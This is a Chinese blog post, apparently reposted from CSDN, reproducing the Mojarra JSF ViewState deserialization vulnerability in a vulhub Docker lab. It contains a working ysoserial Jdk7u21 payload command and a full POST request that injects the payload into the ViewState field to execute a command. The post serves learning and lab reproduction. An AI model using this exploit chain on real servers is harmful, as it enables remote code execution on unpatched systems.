Mojarra JSF ViewState 反序列化漏洞复现

漏洞概述

 

JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。

 

环境搭建

 

这里使用vulhub来搭建

https://github.com/vulhub/vulhub/blob/master/mojarra/jsf-viewstate-deserialization/README.zh-cn.md

进入目录并启动环境

cd vulhub-master/mojarra/jsf-viewstate-deserialization/

docker-compose up -d

访问http://your-ip:8080即可查看到demo页面。

 

漏洞复现

 

我们使用ysoserial的Jdk7u21利用链来生成poc

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0

再进行url编码

提交表单,修改其中javax.faces.ViewState字段的值为上述Payload

POST /index.xhtml HTTP/1.1

Host: 192.168.204.138:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 615

Origin: http://192.168.204.138:8080

Connection: close

Referer: http://192.168.204.138:8080/index.xhtml

Cookie: JSESSIONID=1o6ywk3nlp7bntnbcw08fm0rg

Upgrade-Insecure-Requests: 1



j_idt6=j_idt6&j_idt6%3Aj_idt7=&j_idt6%3Aj_idt8=Hello&javax.faces.ViewState=[payload]

docker exec -it 72d99f486d69 /bin/bash

进入镜像看看,成功执行

 

修复建议

 

升级到安全版本

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/113135364
jsf